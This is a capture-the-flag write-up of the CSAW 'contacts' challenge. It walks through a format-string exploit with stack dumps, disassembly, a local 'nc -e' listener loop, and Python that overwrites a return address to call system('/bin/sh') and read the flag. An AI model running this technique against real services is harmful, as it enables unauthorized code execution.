@mrexcessive WHA
CSAW exploit 250 contacts
The problem
running at: nc 54.165.223.128 2555 Pwnable Exploit no-source binary-provided
The solution
OK... so first of all setup debugging, get readelf -a and objdump -d on binary
Setup a local copy of the server using simple nc shell loop so can attach gdb easily
#!/bin/sh while true; do nc -l -p 1337 -e ./contacts ; done
Now we can
$nc localhost 1337 #and in another terminal $ps ax |grep contacts$ $gdb ./contacts -p
To start with I mess about with the program... What is in there. Checking for buffer overflows, printf vulnerabilities.
Fairly soon find a printf() on the description field of a contact.
Looks as though printf(description) is being done when contacts are displayed.
For example, setup a contact called fred with "%p" as the description and we get a hex number printed out.
Always a good start.
Immediately I want to see how far this goes... can I get a load out ?
3 Name to change? fred 1.Change name 2.Change description >>> 2 Length of description: 2000 Description: %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p Menu: 1)Create contact 2)Remove contact 3)Edit contact 4)Display contacts 5)Exit >>> 4 Contacts: Name: fred Length 5 Phone #: fred Description: 0x842e008 0xf7628d0b 0xf777d000 (nil) (nil) 0xffc6e608 0x8048c99 0x804b0a8 0x5 0x842e008 0x842e048 0xf777dac0 0x8048ed6 0x804b0a0 (nil) (nil) 0xf777d000 0xffc6e638 0x80487a2 0x804b0a0 0xffc6e628 0x50 (nil)
So that's nice !
I write a bit of Python to get a neater stack dump, want to send '"%08x " * 100 + "\n"' as a description and then format the results nicely, with row addresses etc.
Run it twice to see what addresses are changing and what staying the same...
0000 09afd008 f75c1d0b f7716000 00000000 0010 00000000 ffc1d448 08048c99 0804b0a8 0020 000003e8 09afd008 09afd018 f7716ac0 0030 08048ed6 0804b0a0 00000000 00000000 0040 f7716000 ffc1d478 080487a2 0804b0a0 0050 ffc1d468 00000050 00000000 f77163c4 0060 f7762000 00000004 0000000a 08048df0 0070 00000000 00000000 f7589a63 00000001 0080 ffc1d514 ffc1d51c f77507da 00000001 0090 ffc1d514 ffc1d4b4 0804b034 080482f8 00a0 f7716000 00000000 00000000 00000000 00b0 74815609 461c1218 00000000 00000000 00c0 00000000 00000001 080485c0 00000000 00d0 f7756020 f7589979 f7762000 00000001 00e0 080485c0 00000000 080485e1 080486bd 00f0 00000001 ffc1d514 08048df0 08048e60 0100 f7750c90 ffc1d50c 0000001c 00000001 0110 ffc1d6cd 00000000 ffc1d6d6 ffc1d6ed 0120 ffc1d6f8 ffc1d70a ffc1d71d ffc1d725 0130 ffc1d736 ffc1d755 ffc1d7a6 ffc1d7be 0140 ffc1d820 ffc1d839 ffc1d871 ffc1d87f 0150 ffc1d891 ffc1d8a1 ffc1d8ac ffc1d8bb 0160 ffc1d8e7 ffc1d8f4 ffc1d932 ffc1d982 0170 ffc1d98f ffc1d9a0 ffc1dec1 ffc1def9 0180 ffc1df2d ffc1df3d ffc1df50 ffc1df89 0190 Another run 0000 08717008 f75bad0b f770f000 00000000 0010 00000000 ffad6bb8 08048c99 0804b0a8 0020 000003e8 08717008 08717018 f770fac0 0030 08048ed6 0804b0a0 00000000 00000000 0040 f770f000 ffad6be8 080487a2 0804b0a0 0050 ffad6bd8 00000050 00000000 f770f3c4 0060 f775b000 00000004 0000000a 08048df0 0070 00000000 00000000 f7582a63 00000001 0080 ffad6c84 ffad6c8c f77497da 00000001 0090 ffad6c84 ffad6c24 0804b034 080482f8 00a0 f770f000 00000000 00000000 00000000 00b0 f781e157 1d024546 00000000 00000000 00c0 00000000 00000001 080485c0 00000000 00d0 f774f020 f7582979 f775b000 00000001 00e0 080485c0 00000000 080485e1 080486bd 00f0 00000001 ffad6c84 08048df0 08048e60 0100 f7749c90 ffad6c7c 0000001c 00000001 0110 ffad76cd 00000000 ffad76d6 ffad76ed 0120 ffad76f8 ffad770a ffad771d ffad7725 0130 ffad7736 ffad7755 ffad77a6 ffad77be 0140 ffad7820 ffad7839 ffad7871 ffad787f 0150 ffad7891 ffad78a1 ffad78ac ffad78bb 0160 ffad78e7 ffad78f4 ffad7932 ffad7982 0170 ffad798f ffad79a0 ffad7ec1 ffad7ef9 0180 ffad7f2d ffad7f3d ffad7f50 ffad7f89 0190
So we have program addresses staying the same (0x804b0a8 for example)
but stack and heap moved.
libc or whatever is at xffc1d6cd is also moving around
Lets do some string printing, to see what's behind some of these pointers
So we have program addresses staying the same (0x804b0a8 for example) but stack and heap moved glibc or whatever xffc1d6cd is also moving and with %s ? can we find pointer to buffers OK we get segfault on %s @1 is ^phone number string So 08717008 is buffer memory - is this stack ? @10, @11 are phone number (again) and ...buffer ! Enter description: [%10$s] [%11$s] Menu: 1)Create contact 2)Remove contact 3)Edit contact 4)Display contacts 5)Exit >>> 4 Contacts: Name: abcd Length 100 Phone #: efgh Description: [efgh] [[%10$s] [%11$s]
So %11 has '[%10$s] [%11$s]'
which was the input buffer
Excellent... so we have a pointer to something we can control which is located on the stack.
I think probably the inbuilt comment "[DEBUG] Haven't written a parser for phone numbers; "
is a red herring - because printf() vuln on description should be enough.
Looking at the objdump output.
PRINT_A_CONTACT: 8048bd1: 55 push %ebp 8048bd2: 89 e5 mov %esp,%ebp 8048bd4: 83 ec 18 sub $0x18,%esp 8048bd7: 8b 45 08 mov 0x8(%ebp),%eax 8048bda: 89 44 24 04 mov %eax,0x4(%esp) 8048bde: c7 04 24 74 90 04 08 movl $0x8049074,(%esp) "\tName: %s\n" 8048be5: e8 06 f9 ff ff call 80484f0 <printf@plt> 8048bea: 8b 45 0c mov 0xc(%ebp),%eax 8048bed: 89 44 24 04 mov %eax,0x4(%esp) 8048bf1: c7 04 24 7f 90 04 08 movl $0x804907f,(%esp) "\tLength %u\n" 8048bf8: e8 f3 f8 ff ff call 80484f0 <printf@plt> 8048bfd: 8b 45 10 mov 0x10(%ebp),%eax 8048c00: 89 44 24 04 mov %eax,0x4(%esp) 8048c04: c7 04 24 8b 90 04 08 movl $0x804908b,(%esp) "\tPhone #: %s\n" 8048c0b: e8 e0 f8 ff ff call 80484f0 <printf@plt> 8048c10: c7 04 24 99 90 04 08 movl $0x8049099,(%esp) "\tDescription: " 8048c17: e8 d4 f8 ff ff call 80484f0 <printf@plt> 8048c1c: 8b 45 14 mov 0x14(%ebp),%eax 8048c1f: 89 04 24 mov %eax,(%esp) # !!! Description printed # without a "%s" wrapper, 8048c22: e8 c9 f8 ff ff call 80484f0 <printf@plt> # direct to the printf() 8048c27: c9 leave 8048c28: c3 ret
So what to aim for... ret2libc ?
Seems a bit much for 250 pts, but there's no obvious give flag function and ROP probably only other option.
We need EIP control first
So stack overwrite - but buffer is on heap... So going to be %hn etc.
Lets demonstrate we have control with %hhn
So... note that heap addresses have same low word each run...
Lets try changing to skip two chars in phone number print
0000 08717008 f75bad0b f770f000 00000000 @1,2,3,4 0010 00000000 ffad6bb8 08048c99 0804b0a8 8c99 is after scanf 0020 000003e8 08717008 08717018 f770fac0 @9,10,11,12
try
%10c$11hhn %10$s er should be %10c%11$hhn %10$s or in fact %10c%10$hhn %10$s
This gives us...
Contacts: Name: abcd Length 100 Phone #: efgh Description: fgh
Not the change I was expecting... oh yes it is... that's a \n character, ascii 10, from the %10c
A bit of messing with gdb to find the stack later...
And a new hex dump routine with stack references...
01 ffdacf34 088ea008 f756fd0b ?f76c4000 00000000 ? is stack canary 05 ffdacf44 00000000 #ffdacf78 >08048c99 0804b0a8 # EBP when EIP = 0x8048c27, >EIP after RET 09 ffdacf54 000003e8 088ea008 088ea018 f76c4ac0 13 ffdacf64 08048ed6 *0804b0a0 00000000 00000000 * 0x804b0a0 is list of contacts - zeroed on exit 17 ffdacf74 ?f76c4000 #ffdacfa8 >080487a2 0804b0a0 # EBP after LEAVE, >EIP after RET 21 ffdacf84 ^ffdacf98 00000050 00000000 f76c43c4 ^ menu option 25 ffdacf94 f7710000 Z00000004 0000000a 08048df0 Z = menu option 4 chosen 29 ffdacfa4 00000000 #00000000>>f7537a63<<00000001 #0 end of EBP chain >>...<< RET addr on '5' chosen 33 ffdacfb4 ffdad044 ffdad04c f76fe7da 00000001 37 ffdacfc4 ffdad044 ffdacfe4 0804b034 080482f8 41 ffdacfd4 ?f76c4000 00000000 00000000 00000000 45 ffdacfe4 db018160 c86aa571 00000000 00000000 49 ffdacff4 00000000 00000001 080485c0 00000000 53 ffdad004 f7704020 f7537979 f7710000 00000001 57 ffdad014 080485c0 00000000 080485e1 080486bd 61 ffdad024 00000001 ffdad044 08048df0 08048e60 65 ffdad034 f76fec90 ffdad03c 0000001c 00000001 69 ffdad044 ffdad6cd 00000000 ffdad6d6 ffdad6ed
So execution goes like this:
So execution goes:
0x8048c27 (after call to printf, in PRINT_A_CONTACT) 0x8048c99 (after PRINT_A_CONTACT(), in PRINT_ALL_CONTACTS) 0x80487a2 (after PRINT_ALL_CONTACTS(), in MAINLOOP)
Maybe NX is only on the stack...
So we can create a contact and put executable code in there then return to it ?
So... return to code on EXIT (option 5)
This means overwriting @31 - which has the RET address after exit from program
So
1) mess with @31 and confirm we can do that
2) put shellcode somewhere executable
3) return to the shellcode
4) If that fails then ROP chain the bastard
5) If that fails then ret2libc...
1)
So messing with @31 and confirming.
It should remain on stack all the time until exit
To mess with @31 we need a pointer to it.
Probably should automate calculation in Python, but can maybe just blag it for test
So we overwrite the #00000000 associated with the final return, I think
That won't break anything as it just ends up in EBP after final LEAVE from MAIN_LOOP
@18 points to it.
So first test is:
%18$08x %255c%18$hn %18$08x
and once again indirection wrong... we are messing with @31
%30$08x %255c%18$hn %30$08x
Hmmm why not changing anything, it worked before:
with %10c%10$hhn %10$s - yes this works... changes byte in string %10$08x %65c%10$hhn %10$08x - ok yes cos pointer doesn't change
Need to run it twice to see effect
OK Yes
%30$08x %255c%18$hn %30$08x first print _ Description: 00000000 00000000 second print (4) _Description: 00000108 00000108
So.... we have messed with 30
Messing with 31... bit more involved.
Need a pointer we can write through, which already has the high nibble set correctly...
But... the target pointer needs to be after @30 - so it won't mess with execution inside MAIN_LOOP until Copy of dump from above...
01 ffdacf34 088ea008 f756fd0b ?f76c4000 00000000 ? is stack canary 05 ffdacf44 00000000 #ffdacf78 >08048c99 0804b0a8 # EBP when EIP = 0x8048c27, >EIP after RET 09 ffdacf54 000003e8 088ea008 088ea018 f76c4ac0 13 ffdacf64 08048ed6 *0804b0a0 00000000 00000000 * 0x804b0a0 is list of contacts - zeroed on exit 17 ffdacf74 ?f76c4000 #ffdacfa8 >080487a2 0804b0a0 # EBP after LEAVE, >EIP after RET 21 ffdacf84 ^ffdacf98 00000050 00000000 f76c43c4 ^ menu option 25 ffdacf94 f7710000 Z00000004 0000000a 08048df0 Z = menu option 4 chosen 29 ffdacfa4 00000000 #00000000>>f7537a63<<00000001 #0 end of EBP chain >>...<< RET addr on '5' chosen 33 ffdacfb4 ffdad044 ffdad04c f76fe7da 00000001 37 ffdacfc4 ffdad044 ffdacfe4 0804b034 080482f8 41 ffdacfd4 ?f76c4000 00000000 00000000 00000000 45 ffdacfe4 db018160 c86aa571 00000000 00000000 49 ffdacff4 00000000 00000001 080485c0 00000000 53 ffdad004 f7704020 f7537979 f7710000 00000001 57 ffdad014 080485c0 00000000 080485e1 080486bd 61 ffdad024 00000001 ffdad044 08048df0 08048e60 65 ffdad034 f76fec90 ffdad03c 0000001c 00000001 69 ffdad044 ffdad6cd 00000000 ffdad6d6 ffdad6ed
OK so @33 has 0xffda.d044 -> [69]
[69] has ffda.d6cd
so I can write through 33 to %33hn on 69
Then write through @69 back to 31
BUT Will need coding up, because number to send through 33 into 69 needs calculating
pseudocode.
- DUMP to get addresses
- REMOVE contact - to make life simpler
- WRITE through @33 %hn to set @69 to point to @31 high nibble
- SET @31 high nibble to address of description string (so @11 high nibble)
- WRITE throguh @33 %hn to set @69 to point to @31 low nibble
- SET @31 low nibble to description string
- WRITE shellcode as description string
So I need a helper function to write a byte to an address, using two pointers like this. This is slightly involved because of the need to create, execute and delete a contact at each stage !
def CreateContact(required_desc,show=False): # assumes at menu... s.send("1\nname\nnum\n1000\n" + required_desc + "\n") r = GetResponse() if show: print r def ExecuteContactByPrinting(show=False): # assumes only one contact - or things might get hairy global lastExecuteResult s.send("4\n") r = GetResponse() if show: # don't always print (64k spaces is boring) print r lastExecuteResult = r def DeleteContact(show=False): s.send("2\nname\n") r = GetResponse() if show: print r def DoThing(thing,show=False): print "Sending [%s]" % thing CreateContact(thing,show) ExecuteContactByPrinting(show) DeleteContact(show) # generalised write byte def WriteByte(address,byte): # this does writes using @33 to modify @69. # @69 is used to setup @70 low and high. #[@70] does the actual write address_low = address % 0x10000 # the end target address address_high = address >> 16 global bvals a70 = bvals[18] + 0xa0 a70_low = a70 % 0x10000 print "Calculated @70 as %08x" % a70 DoThing("%" + "%ic" % a70_low + "%33$hn",False) # write address of low nibble @ 70, through @33 into 69 DoThing("%" + "%ic" % address_low + "%69$hn",False) # write lowpart of target address through 69 into 70 DoThing("%" + "%ic" % (a70_low+2) + "%33$hn",False) # address of high nibble @70, through @33 into 69 DoThing("%" + "%ic" % address_high + "%69$hn",False) # write high of target address through 69 into [70+2] if byte == 0: DoThing("%70$hhn",False) # zero bytes must not have any char output first else: DoThing("%" + "%ic" % byte + "%70$hhn",False) # write BYTE this time, so hhn
Or instead of shellcode could just try to find system() in libc which is now my favourite trick after getting it to work in EKOparty pre-quals last week.
This involves following the GOT to find the indirection which printf() makes to libc.
So we correctly pull back printf() in GOT as being [D0 4B 65 F7]
(byte order reversed... so is 0xf7654bd0... and this is local system only at this point)
It takes a while to properly locate system locally... because the library isn't working properly for some reason in the identify.py utility (see https://github.com/molnarg/libc-binary-collection)
But, I reason, perhaps identify.py will work fine on live system. Lets just confirm exploit works if I force in the correct system() address found manually...
It does... but gdb barfs trying to start a 64bit shell from 32bit program, doesn't like architecture switch.
But still - all is good.
So I have this Python which implements the read to find printf(), pauses while I use the identify.py to translate into a system() address, which I type into the program... then it continues and forces the exploit.
#the if True clauses are because I tested and developed this in sections
if True: # display contents of printf() in GOT - hopefully to identify libc a34 = a31 + 12 print " address of @34 is %08x" % a34 WriteByte(a34+0, 0x10) WriteByte(a34+1, 0xb0) WriteByte(a34+2, 0x04) WriteByte(a34+3, 0x08) drop=ExtractHex() # test it DeleteContact() # make life easier # display the contents of printf_GOT - hopefully no \0 too early address = GetBinaryDword(0x34) print "Got printf() = 0x%08x" % address if True: # allow user to put in system address sysstr = raw_input("Enter system address 0x") system = int(sysstr,16) if True: # write system, 0x(dummy return), ^"/bin/sh" # first write "/bin/sh" somewhere - say @45 a45 = a31 + (14*4) print "Decided @45 is at %08x" % a45 shell = "/bin/sh" for i,c in enumerate(shell): WriteByte(a45 + i, ord(c)) WriteByte(a45+i+1, 0) # write final \0 # then write system call to @31 and leave @32 alone - doesn't matter v0 = system % 0x100 v1 = (system >> 8) % 0x100 v2 = (system >> 16) % 0x100 v3 = (system >> 24) % 0x100 WriteByte(a31+0, v0) WriteByte(a31+1, v1) WriteByte(a31+2, v2) WriteByte(a31+3, v3) # @33 needs to get the address of @45 - but we used @33 for general WriteByte, so create a pointer to it @71 and then hhn a33 = a31 + 8 # yes I'm sure quicker ways available a71 = bvals[18] + 0xa4 v0 = a33 % 0x100 v1 = (a33 >> 8) % 0x100 v2 = (a33 >> 16) % 0x100 v3 = (a33 >> 24) % 0x100 WriteByte(a71+0, v0) WriteByte(a71+1, v1) WriteByte(a71+2, v2) WriteByte(a71+3, v3) # @71 is now pointing to @33 a45_low = a45 % 0x10000 DoThing("%" + "%ic" % a45_low + "%71$hn",False) # write low part only of @45 into @33 # CAN'T use WriteByte after this point... we are breaking @33 drop=ExtractHex() # test it
First time I ran it got 0xf7603c40 for printf(), so locally...
$ ./identify.py printf=0xf7603c40 system=? system=0x00000000f75f6cd0 ubuntu/libc6-i386_2.19-0ubuntu6.5_amd64/lib32/libc-2.19.so system=0x00000000f75f6a50 ubuntu/libc6_2.3.5-1ubuntu12.5.10.1_i386/lib/libc-2.3.5.so
But I mistyped the address.. (64bit onem amd64 - it won't be the i386 one)
So ran it again and got the probably system() address correct this time.
And it worked !
ls contacts_54f3188f64e548565bc1b87d7aa07427 flag cat flag flag{f0rm47_s7r1ng5_4r3_fun_57uff}